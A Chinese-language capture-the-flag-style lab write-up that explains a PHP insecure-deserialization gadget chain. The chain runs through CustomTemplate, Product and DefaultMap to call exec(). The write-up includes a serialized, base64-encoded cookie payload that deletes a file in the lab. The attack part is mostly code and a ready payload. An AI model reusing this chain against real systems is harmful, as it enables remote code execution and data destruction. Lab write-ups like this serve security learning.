# Insecure deserialization Lab9
本題是使用基於序列化的會話機制,通過部署自定義小工具鏈,您可以利用其不安全的反序列化來實現遠端代碼執行。要解決實驗室問題,請從 Carlos 的主目錄中刪除 morale.txt。
使用以下認證登錄自己的帳戶:`wiener:peter`
一樣進入網站並登入,並且一樣也是 b64 編碼。


所以去看他 php 檔有沒有寫什麼。

```php
class CustomTemplate {
private $default_desc_type;
private $desc;
public $product;
public function __wakeup() {
$this->build_product();
}
private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
}
}
class Product {
public $desc;
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
}
class DefaultMap {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
public function __get($name) {
return call_user_func($this->callback, $name);
}
}
```
一步步拆解程式碼:
① 反序列化進入點:`CustomTemplate->__wakeup()`
```php
public function __wakeup() {
$this->build_product();
}
```
會呼叫:
```php
$this->product = new Product($this->default_desc_type, $this->desc);
```
② Product 的建構:
```php
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
```
意思是說他會存取 `$desc->$default_desc_type` → 所以會觸發 `__get()`
③ 如果 `$desc` 是 DefaultMap,就會觸發:
```php
public function __get($name) {
return call_user_func($this->callback, $name);
}
```
所以如果:
```php
$desc = DefaultMap
$default_desc_type = "rm /home/carlos/morale.txt"
$callback = "exec"
```
那就會執行:
```php
call_user_func("exec", "rm /home/carlos/morale.txt");
```
就是我們要的命令注入。
簡單來說,利用 CustomTemplate 反序列化時會觸發 Product 建構子對 DefaultMap 屬性做動態存取,進而觸發 `__get()` 裡的 `call_user_func()`,讓我們能用 `exec()` 執行任意指令達成 RCE。
所以這裡我們轉成 JS 格式拿去做 b64 encode。
```
O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:4:"exec";}}
```
```
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MTc6ImRlZmF1bHRfZGVzY190eXBlIjtzOjI2OiJybSAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7czo0OiJkZXNjIjtPOjEwOiJEZWZhdWx0TWFwIjoxOntzOjg6ImNhbGxiYWNrIjtzOjQ6ImV4ZWMiO319
```

丟到 Cookie 裡。
